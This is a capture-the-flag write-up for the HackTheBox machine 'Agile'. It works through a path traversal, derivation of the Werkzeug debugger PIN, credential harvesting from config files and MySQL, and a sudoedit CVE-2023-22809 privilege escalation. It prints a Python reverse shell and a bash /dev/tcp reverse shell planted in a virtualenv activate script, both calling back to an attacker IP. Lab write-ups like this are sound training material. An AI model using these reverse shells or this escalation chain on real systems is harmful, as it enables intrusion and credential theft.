✍️
Write-ups
Index
  • Main Page
  • HackTheBox "Analytics"
  • Keep Your Domains
  • The .whoswho gTLD
  • HackTheBox "Soccer"
  • TryHackMe "ConvertMyVideo"
  • TryHackMe "Simple CTF"
  • HackTheBox "Investigation"
  • HackTheBox "Inject"
  • HackTheBox "Precious"
  • HackTheBox "Busqueda"
  • HackTheBox "Agile"
  • Not Fixing The Possibly Unfixable
Powered by GitBook
On this page
  • Introduction
  • User Own
  • System Own

HackTheBox "Agile"

April 14th, 2023

PreviousHackTheBox "Busqueda"NextNot Fixing The Possibly Unfixable

Last updated 2 years ago

Introduction

is a medium box released on March 4th, 2023 by 0xdf.

User Own

Starting off with an nmap scan reveals a couple things.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:41 EDT
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds

We can see that this box is running NGINX. Attempting to connect to the box from a browser gives a redirect for a website called superpass.htb. Adding this to /etc/hosts let's us connect to the website properly.

This is pretty standard. An account can be created in the login page. After making an account, the website lets you create entries for passwords. The website also lets you conveniently export your passwords into a .csv file. When you download a file, you get taken to a subdirectory called download.

GET /download?fn=username_export_1ee6927a7d.csv HTTP/1.1

This directory takes a parameter called fn, meaning filename. The website basically generates a .csv file containing your passwords and passes the file as a parameter so it knows which .csv file to take. However, this parameter is not handled properly. Giving the parameter no input gives an error, specifically an IsADirectoryError.

It seems these .csv files are being generated in /tmp. While this works fine to download files, it is vulnerable to directory traversal, particularly the line:

with open(f'/tmp/{fn}', 'rb') as f:

This line of Python code will read any file with the given path. We can escape the /tmp directory using two periods, and can grab any file we want. A good persistent file to grab is /etc/passwd.

There are the standard users, root, www-data, and sshd, but there are some other users that aren't standard, being corum, runner, edwards, and dev_admin. This is great and all, but we can't really do much since we don't know the where important files are in the server. Those important files might not even be readable.

An interesting feature of Werkzeug is that the error pages feature a Python interpreter meant for debugging. I'm not sure if this isn't supposed to be in production, but it's available, so let's exploit it!

The debugger is accessed through a terminal icon in the traceback on any line of Python code. Being able to run Python code means gaining access to a reverse shell. Unfortunately, Werkzeug were smart enough to lock these interpreters with a PIN.

However, Werkzeug were not smart enough to make the PIN secure. The PIN is actually predictable, as long as you have access to directory traversal, which we do!

  • Username: This is the username of whoever is running the application. Directory traversal into /proc/self/status/ reveals the user ID to be 33, which is the same user ID of www-data, so this is www-data.

  • Mod Name: This is either flask.app or werkzeug.debug.

  • App Name: This is either wsgi_app, DebuggedApplication, or Flask.

  • Absolute Path of app.py: The error page reveals this to be /app/venv/lib/python3.10/site-packages/flask/app.py.

  • MAC Address: This is the decimal version of the system's MAC address. This is normally unobtainable, but directory traversal into /sys/class/net/eth0/address reveals it to be 00:50:56:b9:72:f5, which is 345052377845.

  • Machine ID: This is the concatenation of the machine ID and the app name. The machine ID is also normally unobtainable, but it can be obtained by grabbing the file /etc/machine-id which reveals it to be ed5b159560f54721827644bc9b220d00. The app name can be found by grabbing the file /proc/self/cgroup and using the value after the last forward slash, which is superpass.service.

Feeding these values into Ben Grewell's PIN cracker will generate different PIN combinations. My correct PIN was 634-326-400. This PIN used the combo:

  • www-data

  • flask.app

  • wsgi_app

  • /app/venv/lib/python3.10/site-packages/flask/app.py

  • 345052377845

  • ed5b159560f54721827644bc9b220d00superpass.service

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.xx.xx",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

Listening via netcat gives us access:

nc -nvlp 1234
listening on [any] 1234 ...
connect to [LISTENER IP] from (UNKNOWN) [BOX IP] 51220
$ id  
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After gaining a shell as www-data, let's explore the app for any sensitive data. We know that the path for the app is /app from the Werkzeug error page.

$ cd /app
cd /app
$ ls
ls
app  app-testing  config_prod.json  config_test.json  test_and_update.sh  venv

A configuration for production, this probably has something good in it.

$ cat config_prod.json
cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Login credentials for the MySQL database. Now we can login to MySQL.

$ mysql --user=superpassuser --password
Enter password: dSA6l7q*yIVs$39Ml6ywvgK

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 424
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

We can see what databases are available:

mysql> show databases; 
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)

mysql>

The promising database is superpass, so let's select it with use superpass;. After selecting superpass, we can see which tables are available:

mysql> show tables;
show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.00 sec)

mysql>

There is a very promising table called passwords, let's see what's inside it.

select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

mysql> 

That's the good stuff! But it's still not the flag. From earlier directory traversal, we know that corum is a user for the box. We can rule out 0xdf since it's just a reference to the author. corum has three different passwords. Ticketmaster and mgoblog are real things, but agile is not. I'm assuming Agile means the box itself, since that's the box's name, so let's login to the box using corum's account and password from the database.

┌──(kali㉿kali)-[~]
└─$ ssh corum@superpass.htb             
corum@superpass.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Mar  8 15:25:35 2023 from 10.10.14.47
corum@agile:~$

We're in! A simple ls reveals user.txt which contains the flag for the user own.

corum@agile:~$ ls
user.txt
corum@agile:~$ cat user.txt 

System Own

Within the app directory contains an interesting file: config_test.json. This file is not readable by corum though. There's a directory for production using config_prod.json, and there is also a directory for testing, so let's explore that. Looking at the test_site_interactively.py file, we can see that this test build is available at test.superpass.htb, which is running on port 5555.

ssh -L 5555:127.0.0.1:5555 corum@superpass.htb

Looking at test_site_interactively.py again, we can see that Chrome devtools is running on port 41829.

@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()
ssh -L 41829:127.0.0.1:41829 corum@superpass.htb

Note: I wasn't able to see the debugger on Firefox, so I had to use Chrome instead.

This gives us a devtoolsFrontendUrl, which we can go to:

{"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"}

More MySQL credentials, let's see what this account holds.

corum@agile:~$ mysql --user=superpasstester --password
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 569
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

superpasstester is pretty much the same as superpassuser, so let's get to the good stuff:

mysql> select * from passwords;
+----+---------------------+---------------------+---------+------------+----------------------+---------+
| id | created_date        | last_updated_data   | url     | username   | password             | user_id |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
|  1 | 2023-01-25 01:10:54 | 2023-01-25 01:10:54 | agile   | edwards    | d07867c6267dcb5df0af |       1 |
|  2 | 2023-01-25 01:14:17 | 2023-01-25 01:14:17 | twitter | dedwards__ | 7dbfe676b6b564ce5718 |       1 |
+----+---------------------+---------------------+---------+------------+----------------------+---------+
2 rows in set (0.00 sec)

mysql> 

More SSH credentials! Hopefully edwards has more permissions than corum.

edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$ 
edwards@agile:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$

Our version of sudo is before 1.9.12p2, which means sudoedit is vulnerable to CVE-2023-22809. To use this CVE, we need a file that dev_admin can write to and root can run.

A vulnerable file is /app/venv/bin/activate. Using the command:

EDITOR="vim -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/config_test.json
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

/bin/bash -l > /dev/tcp/10.10.14.31/1234 0<&1 2>&1 # <--- Reverse shell here

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi

After putting this reverse shell in, we can listen and wait:

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.11.203] 33648
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
/app/venv/bin/activate: connect: Connection refused
/app/venv/bin/activate: line 3: /dev/tcp/10.10.14.31/1234: Connection refused
whoami
root
ls /root        
app
clean.sh
root.txt
superpass.sql
testdb.sql

Eventually, root will activate the virtual environment for the app and, as a result, give us a reverse shell as root. Checking /root, we can find what we're looking for, root.txt.

And that's the box!

Following a couple guides on cracking this PIN (Thank you and !), the PIN is generated through the values:

After cracking the PIN for Werkzeug and gaining access to the Python interpreter, a reverse shell can be created in the debug interpreter. The reverse shell I used is from .

Now we have access as to the Chrome debugger. Looking at the documentation for , we can find a useful endpoint: PUT /json/new?{url}. Fortunately, modern web browsers allow us to open files using the protocol file. So putting this all together, the previously inaccessible file config_test.txt can be obtained by going to the URL http://localhost:41829/json/new?file:///app/config_test.json.

We have access to sudoedit. Looking up "sudoedit cve", we can find , which is a script for a CVE capable of privilege escalation. Looking at our sudo version:

We can write to /app/venv/bin/activate. Now we can put a reverse shell in here, specifically a bash shell from the .

Hacktricks
Ben Grewell
PayloadsAllTheThings Reverse Shell Cheat Sheet
Chrome DevTools
this GitHub page
cheat sheet
Agile
Info Card
Homepage of http://superpass.htb
IsADirectoryError pictured above. You can't download a directory.
Burp Suite Repeater
Console Locked, for now.
USER OWN
More credentials
SYSTEM OWN
PWNED
Info Card
IsADirectoryError pictured above. You can't download a directory.
Burp Suite Repeater
Console Locked, for now.
USER OWN
More credentials
SYSTEM OWN
PWNED